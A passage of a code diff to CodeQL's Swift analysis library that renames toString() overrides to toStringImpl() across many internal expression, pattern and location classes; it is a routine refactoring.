     override predicate convertsFrom(Expr e) { e = this.getImmediateSubExpr() }
   }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/IntegerLiteralExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/IntegerLiteralExprImpl.qll
index 3256c7cd9b36..c41256b09014 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/IntegerLiteralExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/IntegerLiteralExprImpl.qll
@@ -8,7 +8,7 @@ module Impl {
    * ```
    */
   class IntegerLiteralExpr extends Generated::IntegerLiteralExpr {
-    override string toString() { result = this.getStringValue() }
+    override string toStringImpl() { result = this.getStringValue() }
 
     override string getValueString() { result = this.getStringValue() }
   }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/InterpolatedStringLiteralExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/InterpolatedStringLiteralExprImpl.qll
index 01e2ab92c2ab..7a2c00c94467 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/InterpolatedStringLiteralExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/InterpolatedStringLiteralExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.InterpolatedStringLiteralExpr
 
 module Impl {
   class InterpolatedStringLiteralExpr extends Generated::InterpolatedStringLiteralExpr {
-    override string toString() { result = "\"...\"" }
+    override string toStringImpl() { result = "\"...\"" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/IsExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/IsExprImpl.qll
index 69a5855b017a..e8f60812cfec 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/IsExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/IsExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.IsExpr
 
 module Impl {
   class IsExpr extends Generated::IsExpr {
-    override string toString() { result = "... is ..." }
+    override string toStringImpl() { result = "... is ..." }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/KeyPathApplicationExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/KeyPathApplicationExprImpl.qll
index f94532ccbcd9..94b7771e8ee7 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/KeyPathApplicationExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/KeyPathApplicationExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.KeyPathApplicationExpr
 
 module Impl {
   class KeyPathApplicationExpr extends Generated::KeyPathApplicationExpr {
-    override string toString() { result = "\\...[...]" }
+    override string toStringImpl() { result = "\\...[...]" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/KeyPathDotExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/KeyPathDotExprImpl.qll
index 105644cfed0e..477e09f15929 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/KeyPathDotExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/KeyPathDotExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.KeyPathDotExpr
 
 module Impl {
   class KeyPathDotExpr extends Generated::KeyPathDotExpr {
-    override string toString() { result = "\\...." }
+    override string toStringImpl() { result = "\\...." }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/KeyPathExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/KeyPathExprImpl.qll
index 88a526cc3240..a2b957708f4e 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/KeyPathExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/KeyPathExprImpl.qll
@@ -6,6 +6,6 @@ module Impl {
    * A key-path expression.
    */
   class KeyPathExpr extends Generated::KeyPathExpr {
-    override string toString() { result = "#keyPath(...)" }
+    override string toStringImpl() { result = "#keyPath(...)" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/LazyInitializationExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/LazyInitializationExprImpl.qll
index ed81fc84c287..69de6f6949c9 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/LazyInitializationExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/LazyInitializationExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.LazyInitializationExpr
 
 module Impl {
   class LazyInitializationExpr extends Generated::LazyInitializationExpr {
-    override string toString() { result = this.getSubExpr().toString() }
+    override string toStringImpl() { result = this.getSubExpr().toStringImpl() }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/MagicIdentifierLiteralExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/MagicIdentifierLiteralExprImpl.qll
index 3e561f5f5b03..9362a6df647f 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/MagicIdentifierLiteralExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/MagicIdentifierLiteralExprImpl.qll
@@ -8,7 +8,7 @@ module Impl {
    * ```
    */
   class MagicIdentifierLiteralExpr extends Generated::MagicIdentifierLiteralExpr {
-    override string toString() { result = "#..." }
+    override string toStringImpl() { result = "#..." }
 
     override string getValueString() { none() } // TODO: value not yet extracted
   }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/MakeTemporarilyEscapableExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/MakeTemporarilyEscapableExprImpl.qll
index e9e036bf055e..be2bdb24d749 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/MakeTemporarilyEscapableExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/MakeTemporarilyEscapableExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.MakeTemporarilyEscapableExpr
 
 module Impl {
   class MakeTemporarilyEscapableExpr extends Generated::MakeTemporarilyEscapableExpr {
-    override string toString() { result = this.getSubExpr().toString() }
+    override string toStringImpl() { result = this.getSubExpr().toStringImpl() }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/MemberRefExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/MemberRefExprImpl.qll
index 1304062a7a9e..8d65bf5eb75f 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/MemberRefExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/MemberRefExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.MemberRefExpr
 
 module Impl {
   class MemberRefExpr extends Generated::MemberRefExpr {
-    override string toString() { result = "." + this.getMember().toString() }
+    override string toStringImpl() { result = "." + this.getMember().toStringImpl() }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/MethodLookupExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/MethodLookupExprImpl.qll
index 2c42998e6044..356ccb97f04c 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/MethodLookupExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/MethodLookupExprImpl.qll
@@ -9,7 +9,7 @@ private import codeql.swift.generated.Synth
 
 module Impl {
   class MethodLookupExpr extends Generated::MethodLookupExpr {
-    override string toString() { result = "." + this.getMember().toString() }
+    override string toStringImpl() { result = "." + this.getMember().toStringImpl() }
 
     override Expr getImmediateBase() {
       result = Synth::convertExprFromRaw(this.getUnderlying().getBase())
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/NilLiteralExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/NilLiteralExprImpl.qll
index a80b29f1ab75..ae45fbd489b4 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/NilLiteralExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/NilLiteralExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.NilLiteralExpr
 
 module Impl {
   class NilLiteralExpr extends Generated::NilLiteralExpr {
-    override string toString() { result = "nil" }
+    override string toStringImpl() { result = "nil" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/ObjCSelectorExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/ObjCSelectorExprImpl.qll
index 9d96b84a2f04..237b94dd0c7e 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/ObjCSelectorExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/ObjCSelectorExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.ObjCSelectorExpr
 
 module Impl {
   class ObjCSelectorExpr extends Generated::ObjCSelectorExpr {
-    override string toString() { result = "#selector(...)" }
+    override string toStringImpl() { result = "#selector(...)" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/ObjectLiteralExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/ObjectLiteralExprImpl.qll
index 2d29e1a0cf53..8a3d3f18d3af 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/ObjectLiteralExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/ObjectLiteralExprImpl.qll
@@ -10,18 +10,18 @@ module Impl {
   class FileLiteralExpr extends ObjectLiteralExpr {
     FileLiteralExpr() { this.getKind() = 0 }
 
-    override string toString() { result = "#fileLiteral(...)" }
+    override string toStringImpl() { result = "#fileLiteral(...)" }
   }
 
   class ImageLiteralExpr extends ObjectLiteralExpr {
     ImageLiteralExpr() { this.getKind() = 1 }
 
-    override string toString() { result = "#imageLiteral(...)" }
+    override string toStringImpl() { result = "#imageLiteral(...)" }
   }
 
   class ColorLiteralExpr extends ObjectLiteralExpr {
     ColorLiteralExpr() { this.getKind() = 2 }
 
-    override string toString() { result = "#colorLiteral(...)" }
+    override string toStringImpl() { result = "#colorLiteral(...)" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/OneWayExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/OneWayExprImpl.qll
index f69a19547fe7..9c15b822610d 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/OneWayExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/OneWayExprImpl.qll
@@ -4,6 +4,6 @@ module Impl {
   class OneWayExpr extends Generated::OneWayExpr {
     override predicate convertsFrom(Expr e) { e = this.getImmediateSubExpr() }
 
-    override string toString() { result = this.getSubExpr().toString() }
+    override string toStringImpl() { result = this.getSubExpr().toStringImpl() }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/OptionalTryExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/OptionalTryExprImpl.qll
index 2e92c82e5a30..b58ed5e401c9 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/OptionalTryExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/OptionalTryExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.OptionalTryExpr
 
 module Impl {
   class OptionalTryExpr extends Generated::OptionalTryExpr {
-    override string toString() { result = "try? ..." }
+    override string toStringImpl() { result = "try? ..." }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/OtherInitializerRefExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/OtherInitializerRefExprImpl.qll
index 50c9355f438e..7b35e4cc3fb8 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/OtherInitializerRefExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/OtherInitializerRefExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.OtherInitializerRefExpr
 
 module Impl {
   class OtherInitializerRefExpr extends Generated::OtherInitializerRefExpr {
-    override string toString() { result = this.getInitializer().toString() }
+    override string toStringImpl() { result = this.getInitializer().toStringImpl() }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/ParenExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/ParenExprImpl.qll
index 0db93aeb20c2..4018db2b0b7c 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/ParenExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/ParenExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.ParenExpr
 
 module Impl {
   class ParenExpr extends Generated::ParenExpr {
-    override string toString() { result = "(...)" }
+    override string toStringImpl() { result = "(...)" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/RebindSelfInInitializerExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/RebindSelfInInitializerExprImpl.qll
index 7b74336ceedf..93ec90842c37 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/RebindSelfInInitializerExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/RebindSelfInInitializerExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.RebindSelfInInitializerExpr
 
 module Impl {
   class RebindSelfInInitializerExpr extends Generated::RebindSelfInInitializerExpr {
-    override string toString() { result = "self = ..." }
+    override string toStringImpl() { result = "self = ..." }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/RegexLiteralExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/RegexLiteralExprImpl.qll
index 8d2271838aef..a1c454a2b0f4 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/RegexLiteralExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/RegexLiteralExprImpl.qll
@@ -6,6 +6,6 @@ module Impl {
    * A regular expression literal which is checked at compile time, for example `/a(a|b)*b/`.
    */
   class RegexLiteralExpr extends Generated::RegexLiteralExpr {
-    override string toString() { result = this.getPattern() }
+    override string toStringImpl() { result = this.getPattern() }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/StringLiteralExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/StringLiteralExprImpl.qll
index 3e8f6e7592ec..8d60c4bc58bc 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/StringLiteralExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/StringLiteralExprImpl.qll
@@ -8,7 +8,7 @@ module Impl {
    * ```
    */
   class StringLiteralExpr extends Generated::StringLiteralExpr {
-    override string toString() { result = this.getValue() }
+    override string toStringImpl() { result = this.getValue() }
 
     override string getValueString() { result = this.getValue() }
   }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/SubscriptExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/SubscriptExprImpl.qll
index 34e19ccfe61c..cc215525736a 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/SubscriptExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/SubscriptExprImpl.qll
@@ -16,6 +16,6 @@ module Impl {
       )
     }
 
-    override string toString() { result = "...[...]" }
+    override string toStringImpl() { result = "...[...]" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/SuperRefExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/SuperRefExprImpl.qll
index d1afe5938967..b2bd85bae9e2 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/SuperRefExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/SuperRefExprImpl.qll
@@ -4,7 +4,7 @@ private import codeql.swift.elements.decl.Method
 module Impl {
   /** A reference to `super`. */
   class SuperRefExpr extends Generated::SuperRefExpr {
-    override string toString() { result = "super" }
+    override string toStringImpl() { result = "super" }
 
     Method getDeclaringMethod() { this.getSelf() = result.getSelfParam() }
   }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/TryExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/TryExprImpl.qll
index b372e4f22e7b..062c63cc44fa 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/TryExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/TryExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.TryExpr
 
 module Impl {
   class TryExpr extends Generated::TryExpr {
-    override string toString() { result = "try ..." }
+    override string toStringImpl() { result = "try ..." }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/TupleElementExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/TupleElementExprImpl.qll
index 18ff29f6832d..6d35633ea38d 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/TupleElementExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/TupleElementExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.TupleElementExpr
 
 module Impl {
   class TupleElementExpr extends Generated::TupleElementExpr {
-    override string toString() { result = "." + this.getIndex() }
+    override string toStringImpl() { result = "." + this.getIndex() }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/TupleExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/TupleExprImpl.qll
index f2322ef2de1f..32f415a94664 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/TupleExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/TupleExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.TupleExpr
 
 module Impl {
   class TupleExpr extends Generated::TupleExpr {
-    override string toString() { result = "(...)" }
+    override string toStringImpl() { result = "(...)" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/TypeExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/TypeExprImpl.qll
index d2e3ad63ebee..ea69620b5cd9 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/TypeExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/TypeExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.TypeExpr
 
 module Impl {
   class TypeExpr extends Generated::TypeExpr {
-    override string toString() { result = this.getType().toString() }
+    override string toStringImpl() { result = this.getType().toStringImpl() }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/UnresolvedDeclRefExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/UnresolvedDeclRefExprImpl.qll
index 92a534e9226f..35c7443925ca 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/UnresolvedDeclRefExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/UnresolvedDeclRefExprImpl.qll
@@ -2,7 +2,7 @@ private import codeql.swift.generated.expr.UnresolvedDeclRefExpr
 
 module Impl {
   class UnresolvedDeclRefExpr extends Generated::UnresolvedDeclRefExpr {
-    override string toString() {
+    override string toStringImpl() {
       result = this.getName() + " (unresolved)"
       or
       not this.hasName() and result = "(unresolved)"
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/UnresolvedDotExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/UnresolvedDotExprImpl.qll
index 4ecd37ad0f72..54e5b1d43915 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/UnresolvedDotExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/UnresolvedDotExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.UnresolvedDotExpr
 
 module Impl {
   class UnresolvedDotExpr extends Generated::UnresolvedDotExpr {
-    override string toString() { result = "... ." + this.getName() }
+    override string toStringImpl() { result = "... ." + this.getName() }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/expr/internal/VarargExpansionExprImpl.qll b/swift/ql/lib/codeql/swift/elements/expr/internal/VarargExpansionExprImpl.qll
index 98ceee8e8e7b..9e3c1f072c75 100644
--- a/swift/ql/lib/codeql/swift/elements/expr/internal/VarargExpansionExprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/expr/internal/VarargExpansionExprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.expr.VarargExpansionExpr
 
 module Impl {
   class VarargExpansionExpr extends Generated::VarargExpansionExpr {
-    override string toString() { result = this.getSubExpr().toString() }
+    override string toStringImpl() { result = this.getSubExpr().toStringImpl() }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/internal/AvailabilityInfoImpl.qll b/swift/ql/lib/codeql/swift/elements/internal/AvailabilityInfoImpl.qll
index caa478fbc2de..d34917e1a10b 100644
--- a/swift/ql/lib/codeql/swift/elements/internal/AvailabilityInfoImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/internal/AvailabilityInfoImpl.qll
@@ -18,7 +18,7 @@ module Impl {
    * ```
    */
   class AvailabilityInfo extends Generated::AvailabilityInfo {
-    override string toString() {
+    override string toStringImpl() {
       result = "#available" and not this.isUnavailable()
       or
       result = "#unavailable" and this.isUnavailable()
diff --git a/swift/ql/lib/codeql/swift/elements/internal/CommentImpl.qll b/swift/ql/lib/codeql/swift/elements/internal/CommentImpl.qll
index 642155c67a55..5f4259ab937f 100644
--- a/swift/ql/lib/codeql/swift/elements/internal/CommentImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/internal/CommentImpl.qll
@@ -3,6 +3,6 @@ private import codeql.swift.generated.Comment
 module Impl {
   class Comment extends Generated::Comment {
     /** toString */
-    override string toString() { result = this.getText() }
+    override string toStringImpl() { result = this.getText() }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/internal/DiagnosticsImpl.qll b/swift/ql/lib/codeql/swift/elements/internal/DiagnosticsImpl.qll
index dc19291d9a4a..60b0c039901e 100644
--- a/swift/ql/lib/codeql/swift/elements/internal/DiagnosticsImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/internal/DiagnosticsImpl.qll
@@ -5,7 +5,7 @@ module Impl {
    * A compiler-generated error, warning, note or remark.
    */
   class Diagnostics extends Generated::Diagnostics {
-    override string toString() { result = this.getSeverity() + ": " + this.getText() }
+    override string toStringImpl() { result = this.getSeverity() + ": " + this.getText() }
 
     /**
      * Gets a string representing the severity of this compiler diagnostic.
diff --git a/swift/ql/lib/codeql/swift/elements/internal/ElementImpl.qll b/swift/ql/lib/codeql/swift/elements/internal/ElementImpl.qll
index 882e7eda383c..4b4e77b0d934 100644
--- a/swift/ql/lib/codeql/swift/elements/internal/ElementImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/internal/ElementImpl.qll
@@ -4,7 +4,7 @@ module Impl {
   class Element extends Generated::Element {
     private predicate resolvesFrom(Element e) { e.getResolveStep() = this }
 
-    override string toString() { result = this.getPrimaryQlClasses() }
+    override string toStringImpl() { result = this.getPrimaryQlClasses() }
 
     Element getFullyUnresolved() {
       not this.resolvesFrom(_) and result = this
diff --git a/swift/ql/lib/codeql/swift/elements/internal/FileImpl.qll b/swift/ql/lib/codeql/swift/elements/internal/FileImpl.qll
index 2aac757e248e..4369cfb4515d 100644
--- a/swift/ql/lib/codeql/swift/elements/internal/FileImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/internal/FileImpl.qll
@@ -5,7 +5,7 @@ private import codeql.swift.elements.UnknownLocation
 module Impl {
   class File extends Generated::File {
     /** toString */
-    override string toString() { result = this.getAbsolutePath() }
+    override string toStringImpl() { result = this.getAbsolutePath() }
 
     /** Gets the absolute path of this file. */
     string getAbsolutePath() { result = this.getName() }
diff --git a/swift/ql/lib/codeql/swift/elements/internal/LocationImpl.qll b/swift/ql/lib/codeql/swift/elements/internal/LocationImpl.qll
index acb7e788e87d..f607065caea4 100644
--- a/swift/ql/lib/codeql/swift/elements/internal/LocationImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/internal/LocationImpl.qll
@@ -21,7 +21,7 @@ module Impl {
     /**
      * Gets a textual representation of this location.
      */
-    override string toString() {
+    override string toStringImpl() {
       exists(string filePath, int startLine, int startColumn, int endLine, int endColumn |
         this.hasLocationInfo(filePath, startLine, startColumn, endLine, endColumn)
       |
diff --git a/swift/ql/lib/codeql/swift/elements/internal/MacroRoleImpl.qll b/swift/ql/lib/codeql/swift/elements/internal/MacroRoleImpl.qll
index 8ba4f5ff484b..68c57b907b13 100644
--- a/swift/ql/lib/codeql/swift/elements/internal/MacroRoleImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/internal/MacroRoleImpl.qll
@@ -97,7 +97,7 @@ module Impl {
      */
     predicate isAttachedMacroSyntax() { this.getMacroSyntax() = 1 }
 
-    override string toString() {
+    override string toStringImpl() {
       result = this.getMacroSyntaxName() + "(" + this.getKindName() + ")"
     }
   }
diff --git a/swift/ql/lib/codeql/swift/elements/internal/OtherAvailabilitySpecImpl.qll b/swift/ql/lib/codeql/swift/elements/internal/OtherAvailabilitySpecImpl.qll
index 84135e66a264..96729ac9092c 100644
--- a/swift/ql/lib/codeql/swift/elements/internal/OtherAvailabilitySpecImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/internal/OtherAvailabilitySpecImpl.qll
@@ -6,6 +6,6 @@ module Impl {
    * A wildcard availability spec `*`
    */
   class OtherAvailabilitySpec extends Generated::OtherAvailabilitySpec {
-    override string toString() { result = "*" }
+    override string toStringImpl() { result = "*" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/internal/PlatformVersionAvailabilitySpecImpl.qll b/swift/ql/lib/codeql/swift/elements/internal/PlatformVersionAvailabilitySpecImpl.qll
index 5d17697b7fb8..e5d4814338d7 100644
--- a/swift/ql/lib/codeql/swift/elements/internal/PlatformVersionAvailabilitySpecImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/internal/PlatformVersionAvailabilitySpecImpl.qll
@@ -6,6 +6,6 @@ module Impl {
    * An availability spec based on platform and version, for example `macOS 12` or `watchOS 14`
    */
   class PlatformVersionAvailabilitySpec extends Generated::PlatformVersionAvailabilitySpec {
-    override string toString() { result = this.getPlatform() + " " + this.getVersion() }
+    override string toStringImpl() { result = this.getPlatform() + " " + this.getVersion() }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/internal/UnknownLocationImpl.qll b/swift/ql/lib/codeql/swift/elements/internal/UnknownLocationImpl.qll
index a39b8ed21800..0862ed94c4a9 100644
--- a/swift/ql/lib/codeql/swift/elements/internal/UnknownLocationImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/internal/UnknownLocationImpl.qll
@@ -17,6 +17,6 @@ module Impl {
 
     override int getEndColumn() { result = 0 }
 
-    override string toString() { result = "UnknownLocation" }
+    override string toStringImpl() { result = "UnknownLocation" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/internal/UnspecifiedElementImpl.qll b/swift/ql/lib/codeql/swift/elements/internal/UnspecifiedElementImpl.qll
index e2d7c5a32d9b..af32b9c31513 100644
--- a/swift/ql/lib/codeql/swift/elements/internal/UnspecifiedElementImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/internal/UnspecifiedElementImpl.qll
@@ -4,7 +4,7 @@ import codeql.swift.elements.Locatable
 
 module Impl {
   class UnspecifiedElement extends Generated::UnspecifiedElement {
-    override string toString() {
+    override string toStringImpl() {
       exists(string source, string index |
         (
           source = " from " + this.getParent().getPrimaryQlClasses()
diff --git a/swift/ql/lib/codeql/swift/elements/pattern/internal/AnyPatternImpl.qll b/swift/ql/lib/codeql/swift/elements/pattern/internal/AnyPatternImpl.qll
index 98e755da2c61..67cccf515ea0 100644
--- a/swift/ql/lib/codeql/swift/elements/pattern/internal/AnyPatternImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/pattern/internal/AnyPatternImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.pattern.AnyPattern
 
 module Impl {
   class AnyPattern extends Generated::AnyPattern {
-    override string toString() { result = "_" }
+    override string toStringImpl() { result = "_" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/pattern/internal/BindingPatternImpl.qll b/swift/ql/lib/codeql/swift/elements/pattern/internal/BindingPatternImpl.qll
index b896afe51902..c8b687837f48 100644
--- a/swift/ql/lib/codeql/swift/elements/pattern/internal/BindingPatternImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/pattern/internal/BindingPatternImpl.qll
@@ -4,6 +4,6 @@ module Impl {
   class BindingPattern extends Generated::BindingPattern {
     final override Pattern getResolveStep() { result = this.getImmediateSubPattern() }
 
-    override string toString() { result = "let ..." }
+    override string toStringImpl() { result = "let ..." }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/pattern/internal/BoolPatternImpl.qll b/swift/ql/lib/codeql/swift/elements/pattern/internal/BoolPatternImpl.qll
index 471993c4b3b8..a2a7f5aa9af4 100644
--- a/swift/ql/lib/codeql/swift/elements/pattern/internal/BoolPatternImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/pattern/internal/BoolPatternImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.pattern.BoolPattern
 
 module Impl {
   class BoolPattern extends Generated::BoolPattern {
-    override string toString() { result = this.getValue().toString() }
+    override string toStringImpl() { result = this.getValue().toString() }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/pattern/internal/EnumElementPatternImpl.qll b/swift/ql/lib/codeql/swift/elements/pattern/internal/EnumElementPatternImpl.qll
index c46a0b85a088..c436e24e57dd 100644
--- a/swift/ql/lib/codeql/swift/elements/pattern/internal/EnumElementPatternImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/pattern/internal/EnumElementPatternImpl.qll
@@ -15,10 +15,10 @@ module Impl {
       i = 0
     }
 
-    override string toString() {
+    override string toStringImpl() {
       if this.hasSubPattern()
